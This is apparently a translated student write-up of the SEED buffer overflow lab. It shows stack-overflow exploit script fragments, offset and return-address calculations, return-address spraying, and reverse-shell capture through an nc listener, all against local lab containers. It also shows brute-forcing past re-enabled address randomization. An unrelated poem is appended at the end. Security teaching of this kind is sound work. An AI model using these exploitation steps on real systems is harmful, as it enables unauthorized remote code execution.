Seed (2) – buffer overflow attack

Time:2021-8-28

1. Vulnerability principle

Vulnerability code example:

#include
void foo(char *str)
{
   char buffer[12];
   strcpy(buffer, str);
}
int main()
{
   char *str = "This is definitely longer than 12";
   foo(str);
   return 1;
}

When the contents of STR are copied into the buffer, the buffer will overflow because the length of STR is greater than 12. The extra part of STR will be stored above the buffer. Our purpose is to implant the code here and make the functionreturn AddressPoint to the address where we store the codeATo executecode

AStarting address of: Code

Nop: the instruction is 0x90. When executing the instruction, do nothing and continue to execute( Fill NOP between code and foo () to find address A. once return address points to one of NOP, it will execute to address a of code)

2. Experimental preparation

Download the files required for the experiment:https://wwr.lanzoui.com/iUn5vql6ine

Enter into/Buffer_Overflow/Labsetup/server-codeUnder path, execute:

$ make
$ make install
$CD.. # enter / labsetup directory
$ dcbuild
$ dcup

Turn off the prevention mechanism: memory randomization

$ sudo sysctl -w kernel.randomize_va_space=0

3. Level 1 attack: get the parameters

$ echo hello | nc 10.9.0.5 9090
^C

If the results printed twice are consistent and the output address is0xffffxxxx, thenmemory randomizationClosed;

Container Console

server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd108
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd098
server-1-10.9.0.5 | ==== Returned Properly ====
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd108
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd098
server-1-10.9.0.5 | ==== Returned Properly ====
$ cd /Buffer_Overflow/Files
$ vim exploit-L1.py

Then use EBP and buffer address to calculate the address (RET) and offset of a:

ret(A) = 0xffffd108 + 8(min(A) = ebp + 8;max(A) = 517 – len(code))

offset = 0xffffd1080xffffd098+4 = 116 (decimal)

modifyexploit-L1.pyExit with the values of RET and offset in the; Then run:

$ python3 exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090

Container Console

server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 517
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof():  0xffffd428
server-1-10.9.0.5 | Buffer's address inside bof():     0xffffd3b8
server-1-10.9.0.5 | (^_^) SUCCESS SUCCESS (^_^)

If it appears above ‘(^_^) SUCCESS SUCCESS (^_^)‘indicates success!

Get Revere Shell

modifyexploit-L1.pyfileretandAValue of:

##################################################################
# Put the shellcode at the end
content[517-len(shellcode):] = shellcode

# You need to find the correct address
# This should be the first instruction you want to return to
ret = 0xffffd428+40

# You need to calculate the offset 
offset = 116

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

Create a new command line window and enter$ nc -lnv 7070Turn on listening

Send the badfile file to the server in another window

$ python3 exploit-L1.py
$ cat badfile | nc 10.9.0.5 9090

The following contents are output from the listening window, indicating that the review shell is successfully obtained;

Listening on 0.0.0.0 7070
Connection received on 10.9.0.5 51582
[email protected]:/bof#

4. Level 2 Attack : Buffer Size Unknown

$ echo hello | nc 10.9.0.6 9090
^C

Container Console

server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd368
server-2-10.9.0.6 | ==== Returned Properly ====

modifyexploit-L2.pyfileretandSValue of:

S: number of refs = buffersize / 4 (a ref is 4 bytes)

ret:BufferAddress + buffersize

##################################################################
# Put the shellcode at the end of the buffer
content[517-len(shellcode):] = shellcode

# You need to find the correct address
# This should be the first instruction you want to return to
ret = 0xffffd368+360

# Spray the buffer with S number of return addresses
# You need to decide the S value
S = 90
for offset in range(S):
    content[offset*4:offset*4 + 4] = (ret).to_bytes(4,byteorder='little') 
##################################################################
$ python3 exploit-L2.py
$ cat badfile | nc 10.9.0.6 9090

Container Console

server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 517
server-2-10.9.0.6 | Buffer's address inside bof():     0xffffd368
server-2-10.9.0.6 | (^_^) SUCCESS SUCCESS (^_^)

5. Attack: 64-bit Server

Principle:

$ echo hello | nc 10.9.0.7 9090
^C

Container Console

server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe2d0
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffe200

modifyexploit-L3.pyStart, RET and offset in the file;

start = 40

offset = ebp – buffer + 8

ret=[buffer, buffer + 40] range

$ python3 exploit-L3.py
$ cat badfile | nc 10.9.0.7 9090

Container Console

server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 517
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof():  0x00007fffffffe2d0
server-3-10.9.0.7 | Buffer's address inside bof():     0x00007fffffffe200
server-3-10.9.0.7 | (^_^) SUCCESS SUCCESS (^_^)

6. Level 4 Attack: Small Buffer(64-bit)

$ echo hello | nc 10.9.0.8 9090
^C

Container Console

server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007fffffffe2b0
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007fffffffe250
server-4-10.9.0.8 | ==== Returned Properly ====

modifyexploit-L4.pyfile

ret = rbp + 1200

$ python3 exploit-L4.py
$ cat badfile | nc 10.9.0.8 9090

Container Console

server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 517
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof():  0x00007fffffffe2b0
server-4-10.9.0.8 | Buffer's address inside bof():     0x00007fffffffe250
server-4-10.9.0.8 | (^_^) SUCCESS SUCCESS (^_^)

Open the prevention mechanism

$ sudo sysctl -w kernel.randomize_va_space=2

implement$ nc -lnv 7070Turn on listening

Listening on 0.0.0.0 7070

Change exploit to reverse shell

Create a new command line window:

$ python3 exploit-L1.py
$ chmod u+x brute-force.sh
$ ./brute-force.sh

It takes me 8 minutes and 12 seconds:

8 minutes and 12 seconds elapsed.
The program has been running 27296 times so far.
8 minutes and 12 seconds elapsed.
The program has been running 27297 times so far.

After success, the listening window will return shell

Connection received on 10.9.0.5 51372
[email protected]:/bof#
"Once upon a time slow"
I remember when I was a teenager
Everyone is sincere
One sentence is one sentence
Qingchen railway station
The long street is dark without pedestrians
The small shop selling soybean milk is steaming
The old Sun became slow
Cars, horses and mail are slow
Life is only enough to love one person
The old lock is also good-looking
The key looks beautiful
If you lock it, people will understand

My official account

image